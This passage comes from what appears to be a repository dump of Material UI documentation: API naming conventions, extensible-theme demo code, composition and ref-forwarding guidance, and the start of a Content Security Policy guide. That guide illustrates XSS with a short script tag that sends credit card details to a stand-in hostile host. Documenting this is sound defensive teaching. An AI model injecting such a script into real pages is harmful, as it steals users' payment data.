[`className`](/material-ui/customization/how-to-customize/#overriding-styles-with-class-names).\n\n### CSS Classes\n\nAll components accept a [`classes`](/material-ui/customization/how-to-customize/#overriding-styles-with-class-names) prop to customize the styles.\nThe classes design answers two constraints:\nto make the classes structure as simple as possible, while sufficient to implement the Material Design guidelines.\n\n- The class applied to the root element is always called `root`.\n- All the default styles are grouped in a single class.\n- The classes applied to non-root elements are prefixed with the name of the element, for example `paperWidthXs` in the Dialog component.\n- The variants applied by a boolean prop **aren't** prefixed, for example the `rounded` class\n  applied by the `rounded` prop.\n- The variants applied by an enum prop **are** prefixed, for example the `colorPrimary` class\n  applied by the `color=\"primary\"` prop.\n- A variant has **one level of specificity**.\n  The `color` and `variant` props are considered a variant.\n  The lower the style specificity is, the simpler it is to override.\n- We increase the specificity for a variant modifier.\n  We already **have to do it** for the pseudo-classes (`:hover`, `:focus`, etc.).\n  It allows much more control at the cost of more boilerplate.\n  Hopefully, it's also more intuitive.\n\n```js\nconst styles = {\n  root: {\n    color: green[600],\n    '&$checked': {\n      color: green[500],\n    },\n  },\n  checked: {},\n};\n```\n\n### Nested components\n\nNested components inside a component have:\n\n- their own flattened props when these are key to the top level component abstraction,\n  for instance an `id` prop for the `Input` component.\n- their own `xxxProps` prop when users might need to tweak the internal render method's subcomponents,\n  for instance, exposing the `inputProps` and `InputProps` props on components that use `Input` internally.\n- their own `xxxComponent` prop for performing component injection.\n- their own `xxxRef` prop when you might need to perform imperative actions,\n  for instance, exposing an `inputRef` prop to access the native `input` on the `Input` component.\n  This helps answer the question [\"How can I access the DOM element?\"](/material-ui/getting-started/faq/#how-can-i-access-the-dom-element)\n\n### Prop naming\n\n- **Boolean**\n  - The default value of a boolean prop should be `false`. This allows for better shorthand notation. Consider an example of an input that is enabled by default. How should you name the prop that controls this state? It should be called `disabled`:\n\n    ```jsx\n    ❌ <Input enabled={false} />\n    ✅ <Input disabled />\n    ```\n\n  - If the name of the boolean is a single word, it should be an adjective or a noun rather than a verb. This is because props describe _states_ and not _actions_. For example an input prop can be controlled by a state, which wouldn't be described with a verb:\n\n    ```jsx\n    const [disabled, setDisabled] = React.useState(false);\n\n    ❌ <Input disable={disabled} />\n    ✅ <Input disabled={disabled} />\n    ```\n\n### Controlled components\n\nMost controlled components are controlled by the `value` and the `onChange` props.\nThe `open` / `onClose` / `onOpen` combination is also used for displaying related state.\nIn the cases where there are more events, the noun comes first, and then the verb—for example: `onPageChange`, `onRowsChange`.\n\n:::info\n\n- A component is **controlled** when it's managed by its parent using props.\n- A component is **uncontrolled** when it's managed by its own local state.\n\nLearn more about controlled and uncontrolled components in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).\n:::\n\n### boolean vs. enum\n\nThere are two options to design the API for the variations of a component: with a _boolean_; or with an _enum_.\nFor example, let's take a button that has different types. Each option has its pros and cons:\n\n- Option 1 _boolean_:\n\n  ```tsx\n  type Props = {\n    contained: boolean;\n    fab: boolean;\n  };\n  ```\n\n  This API enables the shorthand notation:\n  `<Button>`, `<Button contained />`, `<Button fab />`.\n\n- Option 2 _enum_:\n\n  ```tsx\n  type Props = {\n    variant: 'text' | 'contained' | 'fab';\n  };\n  ```\n\n  This API is more verbose:\n  `<Button>`, `<Button variant=\"contained\">`, `<Button variant=\"fab\">`.\n\n  However, it prevents an invalid combination from being used,\n  bounds the number of props exposed,\n  and can easily support new values in the future.\n\nThe Material UI components use a combination of the two approaches according to the following rules:\n\n- A _boolean_ is used when **2** possible values are required.\n- An _enum_ is used when **> 2** possible values are required, or if there is the possibility that additional possible values may be required in the future.\n\nGoing back to the previous button example; since it requires 3 possible values, we use an _enum_.\n\n### Ref\n\nThe `ref` is forwarded to the root element. This means that, without changing the rendered root element\nvia the `component` prop, it is forwarded to the outermost DOM element which the component\nrenders. If you pass a different component via the `component` prop, the ref will be attached\nto that component instead.\n\n## Glossary\n\n- **host component**: a DOM node type in the context of `react-dom`, for example a `'div'`. See also [React Implementation Notes](https://legacy.reactjs.org/docs/implementation-notes.html#mounting-host-elements).\n- **host element**: a DOM node in the context of `react-dom`, for example an instance of `window.HTMLDivElement`.\n- **outermost**: The first component when reading the component tree from top to bottom, that is breadth-first search.\n- **root component**: the outermost component that renders a host component.\n- **root element**: the outermost element that renders a host component.\n"
  },
  {
    "path": "docs/data/material/guides/building-extensible-themes/ExtensibleThemes.js",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\n/**\n * Branded theme: you might want to export this as a separate file\n */\nconst brandedTokens = {\n  palette: {\n    primary: {\n      main: '#000000',\n    },\n    secondary: {\n      main: 'rgb(229, 229, 234)',\n    },\n  },\n  shape: {\n    borderRadius: 4,\n  },\n  typography: {\n    fontFamily:\n      'var(--font-primary, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif)',\n  },\n  shadows: [\n    'none',\n    '0 1px 2px 0 rgb(0 0 0 / 0.05)',\n    '0 1px 3px 0 rgb(0 0 0 / 0.1), 0 1px 2px -1px rgb(0 0 0 / 0.1)',\n    '0 2px 4px 0 rgb(0 0 0 / 0.06)',\n    '0 2px 4px -1px rgb(0 0 0 / 0.06), 0 1px 2px -1px rgb(0 0 0 / 0.04)',\n    '0 3px 5px -1px rgb(0 0 0 / 0.07), 0 1px 3px -1px rgb(0 0 0 / 0.05)',\n    '0 4px 6px -1px rgb(0 0 0 / 0.07), 0 2px 4px -1px rgb(0 0 0 / 0.05)',\n    '0 5px 8px -2px rgb(0 0 0 / 0.08), 0 2px 4px -1px rgb(0 0 0 / 0.05)',\n    '0 6px 10px -2px rgb(0 0 0 / 0.08), 0 3px 5px -2px rgb(0 0 0 / 0.06)',\n    '0 8px 12px -3px rgb(0 0 0 / 0.09), 0 3px 6px -2px rgb(0 0 0 / 0.06)',\n    '0 10px 15px -3px rgb(0 0 0 / 0.1), 0 4px 7px -3px rgb(0 0 0 / 0.07)',\n    '0 12px 18px -4px rgb(0 0 0 / 0.11), 0 5px 9px -3px rgb(0 0 0 / 0.08)',\n    '0 15px 22px -4px rgb(0 0 0 / 0.12), 0 6px 11px -4px rgb(0 0 0 / 0.09)',\n    '0 18px 28px -5px rgb(0 0 0 / 0.13), 0 7px 13px -4px rgb(0 0 0 / 0.1)',\n    '0 22px 34px -6px rgb(0 0 0 / 0.14), 0 8px 16px -5px rgb(0 0 0 / 0.11)',\n    '0 26px 40px -7px rgb(0 0 0 / 0.15), 0 10px 19px -5px rgb(0 0 0 / 0.12)',\n    '0 31px 47px -8px rgb(0 0 0 / 0.16), 0 12px 23px -6px rgb(0 0 0 / 0.13)',\n    '0 36px 54px -9px rgb(0 0 0 / 0.17), 0 14px 27px -7px rgb(0 0 0 / 0.14)',\n    '0 42px 62px -10px rgb(0 0 0 / 0.18), 0 16px 31px -8px rgb(0 0 0 / 0.15)',\n    '0 48px 70px -11px rgb(0 0 0 / 0.2), 0 18px 36px -9px rgb(0 0 0 / 0.16)',\n    '0 54px 78px -12px rgb(0 0 0 / 0.21), 0 20px 41px -10px rgb(0 0 0 / 0.17)',\n    '0 60px 86px -13px rgb(0 0 0 / 0.22), 0 23px 46px -11px rgb(0 0 0 / 0.18)',\n    '0 66px 94px -14px rgb(0 0 0 / 0.23), 0 26px 52px -12px rgb(0 0 0 / 0.19)',\n    '0 72px 102px -15px rgb(0 0 0 / 0.24), 0 29px 58px -13px rgb(0 0 0 / 0.2)',\n    '0 58px 82px -11px rgb(0 0 0 / 0.26), 0 21px 40px -11px rgb(0 0 0 / 0.22)',\n  ],\n};\n\nconst brandedComponents = {\n  MuiButton: {\n    defaultProps: {\n      disableElevation: true,\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        minWidth: 'unset',\n        textTransform: 'capitalize',\n        fontSize: '1rem',\n        '&:hover': {\n          textDecoration: 'underline',\n        },\n        [theme.breakpoints.up('md')]: {\n          fontSize: '0.875rem',\n        },\n      }),\n    },\n  },\n};\n\nconst brandedTheme = createTheme({\n  ...brandedTokens,\n  components: brandedComponents,\n});\n\n/**\n * Application theme\n */\nconst appTheme = createTheme({\n  ...brandedTokens,\n  palette: {\n    ...brandedTokens.palette,\n    primary: {\n      main: '#1976d2',\n    },\n  },\n  components: {\n    ...brandedComponents,\n    MuiButton: {\n      styleOverrides: {\n        root: [\n          brandedComponents?.MuiButton?.styleOverrides?.root,\n          {\n            transition: 'transform 0.2s ease-in-out',\n            '&:hover': {\n              transform: 'translateY(-2px)',\n            },\n          },\n        ],\n      },\n    },\n  },\n});\n\nfunction App1() {\n  return (\n    <ThemeProvider theme={appTheme}>\n      <Button>App Button</Button>\n    </ThemeProvider>\n  );\n}\n\nconst appTheme2 = createTheme({\n  ...brandedTokens,\n  palette: {\n    ...brandedTokens.palette,\n    primary: {\n      main: '#ffa726',\n    },\n  },\n  components: {\n    ...brandedComponents,\n    MuiButton: {\n      defaultProps: {\n        ...brandedComponents?.MuiButton?.defaultProps,\n        variant: 'outlined',\n      },\n      styleOverrides: {\n        root: [\n          brandedComponents?.MuiButton?.styleOverrides?.root,\n          ({ theme }) => ({\n            color: theme.palette.primary.dark,\n          }),\n        ],\n      },\n    },\n  },\n});\n\nfunction App2() {\n  return (\n    <ThemeProvider theme={appTheme2}>\n      <Button>App 2 Button</Button>\n    </ThemeProvider>\n  );\n}\n\nexport default function ExtensibleThemes() {\n  return (\n    <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>\n      <ThemeProvider theme={brandedTheme}>\n        <Button>Branded Button</Button>\n      </ThemeProvider>\n      <App1 />\n      <App2 />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/guides/building-extensible-themes/ExtensibleThemes.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport { ThemeProvider, createTheme, type ThemeOptions } from '@mui/material/styles';\n\n/**\n * Branded theme: you might want to export this as a separate file\n */\nconst brandedTokens: ThemeOptions = {\n  palette: {\n    primary: {\n      main: '#000000',\n    },\n    secondary: {\n      main: 'rgb(229, 229, 234)',\n    },\n  },\n  shape: {\n    borderRadius: 4,\n  },\n  typography: {\n    fontFamily:\n      'var(--font-primary, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif)',\n  },\n  shadows: [\n    'none',\n    '0 1px 2px 0 rgb(0 0 0 / 0.05)',\n    '0 1px 3px 0 rgb(0 0 0 / 0.1), 0 1px 2px -1px rgb(0 0 0 / 0.1)',\n    '0 2px 4px 0 rgb(0 0 0 / 0.06)',\n    '0 2px 4px -1px rgb(0 0 0 / 0.06), 0 1px 2px -1px rgb(0 0 0 / 0.04)',\n    '0 3px 5px -1px rgb(0 0 0 / 0.07), 0 1px 3px -1px rgb(0 0 0 / 0.05)',\n    '0 4px 6px -1px rgb(0 0 0 / 0.07), 0 2px 4px -1px rgb(0 0 0 / 0.05)',\n    '0 5px 8px -2px rgb(0 0 0 / 0.08), 0 2px 4px -1px rgb(0 0 0 / 0.05)',\n    '0 6px 10px -2px rgb(0 0 0 / 0.08), 0 3px 5px -2px rgb(0 0 0 / 0.06)',\n    '0 8px 12px -3px rgb(0 0 0 / 0.09), 0 3px 6px -2px rgb(0 0 0 / 0.06)',\n    '0 10px 15px -3px rgb(0 0 0 / 0.1), 0 4px 7px -3px rgb(0 0 0 / 0.07)',\n    '0 12px 18px -4px rgb(0 0 0 / 0.11), 0 5px 9px -3px rgb(0 0 0 / 0.08)',\n    '0 15px 22px -4px rgb(0 0 0 / 0.12), 0 6px 11px -4px rgb(0 0 0 / 0.09)',\n    '0 18px 28px -5px rgb(0 0 0 / 0.13), 0 7px 13px -4px rgb(0 0 0 / 0.1)',\n    '0 22px 34px -6px rgb(0 0 0 / 0.14), 0 8px 16px -5px rgb(0 0 0 / 0.11)',\n    '0 26px 40px -7px rgb(0 0 0 / 0.15), 0 10px 19px -5px rgb(0 0 0 / 0.12)',\n    '0 31px 47px -8px rgb(0 0 0 / 0.16), 0 12px 23px -6px rgb(0 0 0 / 0.13)',\n    '0 36px 54px -9px rgb(0 0 0 / 0.17), 0 14px 27px -7px rgb(0 0 0 / 0.14)',\n    '0 42px 62px -10px rgb(0 0 0 / 0.18), 0 16px 31px -8px rgb(0 0 0 / 0.15)',\n    '0 48px 70px -11px rgb(0 0 0 / 0.2), 0 18px 36px -9px rgb(0 0 0 / 0.16)',\n    '0 54px 78px -12px rgb(0 0 0 / 0.21), 0 20px 41px -10px rgb(0 0 0 / 0.17)',\n    '0 60px 86px -13px rgb(0 0 0 / 0.22), 0 23px 46px -11px rgb(0 0 0 / 0.18)',\n    '0 66px 94px -14px rgb(0 0 0 / 0.23), 0 26px 52px -12px rgb(0 0 0 / 0.19)',\n    '0 72px 102px -15px rgb(0 0 0 / 0.24), 0 29px 58px -13px rgb(0 0 0 / 0.2)',\n    '0 58px 82px -11px rgb(0 0 0 / 0.26), 0 21px 40px -11px rgb(0 0 0 / 0.22)',\n  ],\n};\n\nconst brandedComponents: ThemeOptions['components'] = {\n  MuiButton: {\n    defaultProps: {\n      disableElevation: true,\n    },\n    styleOverrides: {\n      root: ({ theme }) => ({\n        minWidth: 'unset',\n        textTransform: 'capitalize',\n        fontSize: '1rem',\n        '&:hover': {\n          textDecoration: 'underline',\n        },\n        [theme.breakpoints.up('md')]: {\n          fontSize: '0.875rem',\n        },\n      }),\n    },\n  },\n};\n\nconst brandedTheme = createTheme({\n  ...brandedTokens,\n  components: brandedComponents,\n});\n\n/**\n * Application theme\n */\nconst appTheme = createTheme({\n  ...brandedTokens,\n  palette: {\n    ...brandedTokens.palette,\n    primary: {\n      main: '#1976d2',\n    },\n  },\n  components: {\n    ...brandedComponents,\n    MuiButton: {\n      styleOverrides: {\n        root: [\n          brandedComponents?.MuiButton?.styleOverrides?.root,\n          {\n            transition: 'transform 0.2s ease-in-out',\n            '&:hover': {\n              transform: 'translateY(-2px)',\n            },\n          },\n        ],\n      },\n    },\n  },\n});\n\nfunction App1() {\n  return (\n    <ThemeProvider theme={appTheme}>\n      <Button>App Button</Button>\n    </ThemeProvider>\n  );\n}\n\nconst appTheme2 = createTheme({\n  ...brandedTokens,\n  palette: {\n    ...brandedTokens.palette,\n    primary: {\n      main: '#ffa726',\n    },\n  },\n  components: {\n    ...brandedComponents,\n    MuiButton: {\n      defaultProps: {\n        ...brandedComponents?.MuiButton?.defaultProps,\n        variant: 'outlined',\n      },\n      styleOverrides: {\n        root: [\n          brandedComponents?.MuiButton?.styleOverrides?.root,\n          ({ theme }) => ({\n            color: theme.palette.primary.dark,\n          }),\n        ],\n      },\n    },\n  },\n});\n\nfunction App2() {\n  return (\n    <ThemeProvider theme={appTheme2}>\n      <Button>App 2 Button</Button>\n    </ThemeProvider>\n  );\n}\n\nexport default function ExtensibleThemes() {\n  return (\n    <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>\n      <ThemeProvider theme={brandedTheme}>\n        <Button>Branded Button</Button>\n      </ThemeProvider>\n      <App1 />\n      <App2 />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/guides/building-extensible-themes/ExtensibleThemes.tsx.preview",
    "content": "<ThemeProvider theme={brandedTheme}>\n  <Button>Branded Button</Button>\n</ThemeProvider>\n<App1 />\n<App2 />"
  },
  {
    "path": "docs/data/material/guides/building-extensible-themes/building-extensible-themes.md",
    "content": "# Building extensible themes\n\n<p class=\"description\">Learn how to build extensible themes with Material UI.</p>\n\n## Introduction\n\nThis guide describes recommendations for building a brand-specific theme with Material UI that can be easily extended and customized across multiple apps that consume it.\n\n## Branded theme\n\nThis is the source of truth for the brand-specific theme.\nIt represents the brand's visual identity through colors, typography, spacing, and more.\n\nIn general, it's recommended to export tokens, components, and the branded theme from a file, as shown here:\n\n```js title=\"brandedTheme.ts\"\nimport { createTheme } from '@mui/material/styles';\nimport type { ThemeOptions } from '@mui/material/styles';\n\nexport const brandedTokens: ThemeOptions = {\n  palette: {\n    primary: {\n      main: '#000000',\n    },\n    secondary: {\n      main: 'rgb(229, 229, 234)',\n    },\n  },\n  shape: {\n    borderRadius: 4,\n  },\n  typography: {\n    fontFamily:\n      'var(--font-primary, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif)',\n  },\n};\n\nexport const brandedComponents: ThemeOptions['components'] = {\n  MuiButton: {\n    defaultProps: {\n      disableElevation: true,\n    },\n    styleOverrides: {\n      root: {\n        minWidth: 'unset',\n        textTransform: 'capitalize',\n        '&:hover': {\n          textDecoration: 'underline',\n        },\n      },\n    },\n  },\n};\n\nconst brandedTheme = createTheme({\n  ...brandedTokens,\n  components: brandedComponents,\n});\n\nexport default brandedTheme;\n```\n\nFor a more optimized approach, you can split the branded components into multiple files.\nThis way, consumers of the theme can choose to import only what they need at the application level.\n\n```js title=\"brandedButtons.ts\"\nimport type { ThemeOptions } from \"@mui/material/styles\";\n\nexport const buttonTheme: ThemeOptions[\"components\"] = {\n  MuiButtonBase: {},\n  MuiButton: {},\n  MuiIconButton: {},\n};\n```\n\n```js title=\"brandedTheme.ts\"\nimport { buttonTheme } from './brandedButtons';\n// import other branded components as needed\n\nexport const brandedTokens: ThemeOptions = {}\n\nexport default createTheme({\n  ...brandedTokens,\n  components: {\n    ...buttonTheme,\n    // other branded components\n  },\n});\n```\n\n## Application theme\n\nConsumers of the branded theme may choose to use it directly in their applications, or extend it to better suit their specific use cases.\nUsing the branded button as an example, a consumer could customize its hover styles as shown below:\n\n```js title=\"appTheme.ts\"\nimport { createTheme } from '@mui/material/styles';\nimport { brandedTokens, brandedComponents } from './brandedTheme'; // or from an npm package.\n\nconst appTheme = createTheme({\n  ...brandedTokens,\n  palette: {\n    ...brandedTokens.palette,\n    primary: {\n      main: '#1976d2',\n    },\n  },\n  components: {\n    ...brandedComponents,\n    MuiButton: {\n      styleOverrides: {\n        root: [\n          // Use array syntax to preserve the branded theme styles.\n          brandedComponents?.MuiButton?.styleOverrides?.root,\n          {\n            '&:hover': {\n              transform: 'translateY(-2px)',\n            },\n          },\n        ],\n      },\n    },\n  },\n});\n```\n\n### Merging branded theme\n\nWhen merging the branded theme with the application theme, it's recommended to use the object spread syntax for tokens like palette, typography, and shape.\n\nFor components, use the array syntax to ensure that the [variants](/material-ui/customization/theme-components/#variants), states, and pseudo-class styles from the branded theme are preserved.\n\n:::warning\nWe don't recommend JavaScript functions or any utilities to do a deep merge between the branded and the application theme.\n\nDoing so will introduce performance overhead on the first render of the application. The impact depends on the size of the themes.\n:::\n\n## Full example\n\n{{\"demo\": \"ExtensibleThemes.js\", \"defaultCodeOpen\": true}}\n"
  },
  {
    "path": "docs/data/material/guides/composition/Composition.js",
    "content": "import IconButton from '@mui/material/IconButton';\nimport Icon from '@mui/material/Icon';\n\nfunction WrappedIcon(props) {\n  return <Icon {...props} />;\n}\n\nWrappedIcon.muiName = 'Icon';\n\nexport default function Composition() {\n  return (\n    <div>\n      <IconButton>\n        <Icon>alarm</Icon>\n      </IconButton>\n      <IconButton>\n        <WrappedIcon>alarm</WrappedIcon>\n      </IconButton>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/guides/composition/Composition.tsx",
    "content": "import IconButton from '@mui/material/IconButton';\nimport Icon, { IconProps } from '@mui/material/Icon';\n\nfunction WrappedIcon(props: IconProps) {\n  return <Icon {...props} />;\n}\nWrappedIcon.muiName = 'Icon';\n\nexport default function Composition() {\n  return (\n    <div>\n      <IconButton>\n        <Icon>alarm</Icon>\n      </IconButton>\n      <IconButton>\n        <WrappedIcon>alarm</WrappedIcon>\n      </IconButton>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/guides/composition/Composition.tsx.preview",
    "content": "<IconButton>\n  <Icon>alarm</Icon>\n</IconButton>\n<IconButton>\n  <WrappedIcon>alarm</WrappedIcon>\n</IconButton>"
  },
  {
    "path": "docs/data/material/guides/composition/composition.md",
    "content": "# Composition\n\n<p class=\"description\">Material UI tries to make composition as easy as possible.</p>\n\n## Wrapping components\n\nTo provide maximum flexibility and performance, Material UI needs a way to know the nature of the child elements a component receives.\nTo solve this problem, we tag some of the components with a `muiName` static property when needed.\n\nYou may, however, need to wrap a component in order to enhance it, which can conflict with the `muiName` solution.\nIf you wrap a component, verify if that component has this static property set.\n\nIf you encounter this issue, you need to use the same tag for your wrapping component that is used with the wrapped component.\nIn addition, you should forward the props, as the parent component may need to control the wrapped components props.\n\nLet's see an example:\n\n```jsx\nconst WrappedIcon = (props) => <Icon {...props} />;\nWrappedIcon.muiName = Icon.muiName;\n```\n\n{{\"demo\": \"Composition.js\"}}\n\n### Forwarding slot props\n\nUse the `mergeSlotProps` utility function to merge custom props with the slot props.\nIf the arguments are functions then they'll be resolved before merging, and the result from the first argument will override the second.\n\nSpecial properties that merged between the two arguments are listed below:\n\n- `className`: values are concatenated rather than overriding one another.\n\n  In the snippet below, the `custom-tooltip-popper` class is applied to the Tooltip's popper slot.\n\n  ```jsx\n  import Tooltip, { TooltipProps } from '@mui/material/Tooltip';\n  import { mergeSlotProps } from '@mui/material/utils';\n\n  export const CustomTooltip = (props: TooltipProps) => {\n    const { children, title, sx: sxProps } = props;\n\n    return (\n      <Tooltip\n        {...props}\n        title={<Box sx={{ p: 4 }}>{title}</Box>}\n        slotProps={{\n          ...props.slotProps,\n          popper: mergeSlotProps(props.slotProps?.popper, {\n            className: 'custom-tooltip-popper',\n            disablePortal: true,\n            placement: 'top',\n          }),\n        }}\n      >\n        {children}\n      </Tooltip>\n    );\n  };\n  ```\n\n  If you added another `className` via the `slotProps` prop on the Custom Tooltip—as shown below—then both would be present on the rendered popper slot:\n\n  ```js\n  <CustomTooltip slotProps={{ popper: { className: 'foo' } }} />\n  ```\n\n  The popper slot in the original example would now have both classes applied to it, in addition to any others that may be present: `\"[…] custom-tooltip-popper foo\"`.\n\n- `style`: object are shallow merged rather than replacing one another. The style keys from the first argument have higher priority.\n- `sx`: values are concatenated into an array.\n- `^on[A-Z]` event handlers: these functions are composed between the two arguments.\n\n  ```js\n  mergeSlotProps(props.slotProps?.popper, {\n    onClick: (event) => {}, // composed with the `slotProps?.popper?.onClick`\n    createPopper: (popperOptions) => {}, // overridden by the `slotProps?.popper?.createPopper`\n  });\n  ```\n\n## Component prop\n\nMaterial UI allows you to change the root element that will be rendered via a prop called `component`.\n\nFor example, by default a `List` component will render a `<ul>` element.\nThis can be changed by passing a [React component](https://react.dev/reference/react/Component) to the `component` prop.\nThe following example renders the `List` component with a `<menu>` element as root element instead:\n\n```jsx\n<List component=\"menu\">\n  <ListItem>\n    <ListItemButton>\n      <ListItemText primary=\"Trash\" />\n    </ListItemButton>\n  </ListItem>\n  <ListItem>\n    <ListItemButton>\n      <ListItemText primary=\"Spam\" />\n    </ListItemButton>\n  </ListItem>\n</List>\n```\n\nThis pattern is very powerful and allows for great flexibility, as well as a way to interoperate with other libraries, such as your favorite routing or forms library.\n\n### Passing other React components\n\nYou can pass any other React component to `component` prop. For example, you can pass `Link` component from `react-router`:\n\n```tsx\nimport { Link } from 'react-router';\nimport Button from '@mui/material/Button';\n\nfunction Demo() {\n  return (\n    <Button component={Link} to=\"/react-router\">\n      React router link\n    </Button>\n  );\n}\n```\n\n### With TypeScript\n\nTo be able to use the `component` prop, the type of the props should be used with type arguments. Otherwise, the `component` prop will not be present.\n\nThe examples below use `TypographyProps` but the same will work for any component which has props defined with `OverrideProps`.\n\n```ts\nimport { TypographyProps } from '@mui/material/Typography';\n\nfunction CustomComponent(props: TypographyProps<'a', { component: 'a' }>) {\n  /* ... */\n}\n// ...\n<CustomComponent component=\"a\" />;\n```\n\nNow the `CustomComponent` can be used with a `component` prop which should be set to `'a'`.\nIn addition, the `CustomComponent` will have all props of a `<a>` HTML element.\nThe other props of the `Typography` component will also be present in props of the `CustomComponent`.\n\nYou can find a code example with the Button and react-router in [these demos](/material-ui/integrations/routing/#component-prop).\n\n### Generic\n\nIt's also possible to have a generic custom component which accepts any React component, including [built-in components](https://react.dev/reference/react-dom/components/common).\n\n```ts\nfunction GenericCustomComponent<C extends React.ElementType>(\n  props: TypographyProps<C, { component?: C }>,\n) {\n  /* ... */\n}\n```\n\nIf the `GenericCustomComponent` is used with a `component` prop provided, it should also have all props required by the provided component.\n\n```ts\nfunction ThirdPartyComponent({ prop1 }: { prop1: string }) {\n  /* ... */\n}\n// ...\n<GenericCustomComponent component={ThirdPartyComponent} prop1=\"some value\" />;\n```\n\nThe `prop1` became required for the `GenericCustomComponent` as the `ThirdPartyComponent` has it as a requirement.\n\nNot every component fully supports any component type you pass in.\nIf you encounter a component that rejects its `component` props in TypeScript, please open an issue.\nThere is an ongoing effort to fix this by making component props generic.\n\n## Caveat with refs\n\nThis section covers caveats when using a custom component as `children` or for the\n`component` prop.\n\nSome of the components need access to the DOM node. This was previously possible\nby using `ReactDOM.findDOMNode`. This function is deprecated in favor of `ref` and\nref forwarding. However, only the following component types can be given a `ref`:\n\n- Any Material UI component\n- class components, that is `React.Component` or `React.PureComponent`\n- DOM (or host) components, for example `div` or `button`\n- [React.forwardRef components](https://react.dev/reference/react/forwardRef)\n- [React.lazy components](https://react.dev/reference/react/lazy)\n- [React.memo components](https://react.dev/reference/react/memo)\n\nIf you don't use one of the above types when using your components in conjunction with Material UI, you might see a warning from\nReact in your console similar to:\n\n:::warning\nFunction components cannot be given refs. Attempts to access this ref will fail. Did you mean to use React.forwardRef()?\n:::\n\nNote that you will still get this warning for `lazy` and `memo` components if their wrapped component can't hold a ref.\nIn some instances, an additional warning is issued to help with debugging, similar to:\n\n:::warning\nInvalid prop `component` supplied to `ComponentName`. Expected an element type that can hold a ref.\n:::\n\nOnly the two most common use cases are covered. For more information see [this section in the official React docs](https://react.dev/reference/react/forwardRef).\n\n```diff\n-const MyButton = () => <div role=\"button\" />;\n+const MyButton = React.forwardRef((props, ref) =>\n+  <div role=\"button\" {...props} ref={ref} />);\n\n <Button component={MyButton} />;\n```\n\n```diff\n-const SomeContent = props => <div {...props}>Hello, World!</div>;\n+const SomeContent = React.forwardRef((props, ref) =>\n+  <div {...props} ref={ref}>Hello, World!</div>);\n\n <Tooltip title=\"Hello again.\"><SomeContent /></Tooltip>;\n```\n\nTo find out if the Material UI component you're using has this requirement, check\nout the props API documentation for that component. If you need to forward refs\nthe description will link to this section.\n\n### Caveat with StrictMode\n\nIf you use class components for the cases described above you will still see\nwarnings in `React.StrictMode`.\n`ReactDOM.findDOMNode` is used internally for backwards compatibility.\nYou can use `React.forwardRef` and a designated prop in your class component to forward the `ref` to a DOM component.\nDoing so should not trigger any more warnings related to the deprecation of `ReactDOM.findDOMNode`.\n\n```diff\n class Component extends React.Component {\n   render() {\n-    const { props } = this;\n+    const { forwardedRef, ...props } = this.props;\n     return <div {...props} ref={forwardedRef} />;\n   }\n }\n\n-export default Component;\n+export default React.forwardRef((props, ref) => <Component {...props} forwardedRef={ref} />);\n```\n"
  },
  {
    "path": "docs/data/material/guides/content-security-policy/content-security-policy.md",
    "content": "# Content Security Policy (CSP)\n\n<p class=\"description\">This section covers the details of setting up a CSP.</p>\n\n## What is CSP and why is it useful?\n\nCSP mitigates cross-site scripting (XSS) attacks by requiring developers to whitelist the sources their assets are retrieved from. This list is returned as a header from the server. For instance, say you have a site hosted at `https://example.com` the CSP header `default-src: 'self';` will allow all assets that are located at `https://example.com/*` and deny all others. If there is a section of your website that is vulnerable to XSS where unescaped user input is displayed, an attacker could input something like:\n\n```html\n<script>\n  sendCreditCardDetails('https://hostile.example');\n</script>\n```\n\nThis vulnerability would allow the attacker to execute anything. However, with a secure CSP header, the browser will not load this script.\n\nYou can read more about CSP on the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP).\n\n## How does one implement CSP?\n\n### Server-Side Rendering (SSR)\n\nTo use CSP with Material UI (and Emotion), you need to use a nonce.\nA nonce is a randomly generated string that is only used once, therefore you need to add server middleware to generate one on each request.\n\nA CSP nonce is a Base 64 encoded string. You can generate one like this:\n\n```js\nimport crypto from 'node:crypto';\n\nconst nonce = crypto.randomBytes(16).toString('base64'); // 128 bits of entropy\n```\n\nThis generates a value that satisfies the [W3C CSP specification](https://w3c.github.io/webappsec-csp/#security-nonces) guidelines.\n\nYou then apply this nonce to the CSP header. A CSP header might look like this with the nonce applied:\n\n```js\nheader('Content-Security-Policy').set(\n  `default-src 'self'; style-src 'self' 'nonce-${nonce}';`,\n);\n```\n\nYou should pass the nonce in the `<style>` tags on the server.\n\n```jsx\n<style\n  data-emotion={`${style.key} ${style.ids.join(' ')}`}\n  nonce={nonce}\n  dangerouslySetInnerHTML={{ __html: style.css }}\n/>\n```\n\nThen, you must pass this nonce to Emotion's cache so it can add it to subsequent `<style>`.\n\n:::warning\nIf you were using `StyledEngineProvider` with `injectFirst`, you will need to replace it with `CacheProvider` from Emotion and add the `prepend: true` option.\n:::\n\n```js\nconst cache = createCache({\n  key: 'my-prefix-key',\n  nonce: nonce,\n  prepend: true,\n});\n\nfunction App(props) {\n  return (\n    <CacheProvider value={cache}>\n      <Home />\n    </CacheProvider>\n  );\n}\n```\n\n### CSP in Vite\n\nWhen deploying a CSP using Vite, there are specific configurations you must set up due to Vite's internal handling of assets and modules.\nSee [Vite Features—Content Security Policy](https://vite.dev/guide/features.html#content-security-policy-csp) for complete details.\n\n### Next.js Pages Router\n\nFor the Next.js Pages Router, after [setting up a nonce](https://nextjs.org/docs/app/guides/content-security-policy#nonces), pass it to the Emotion cache in two places:\n\n1. In `_document.tsx`:\n\n```tsx\nimport {\n  DocumentHeadTags,\n  documentGetInitialProps,\n  createEmotionCache,\n} from 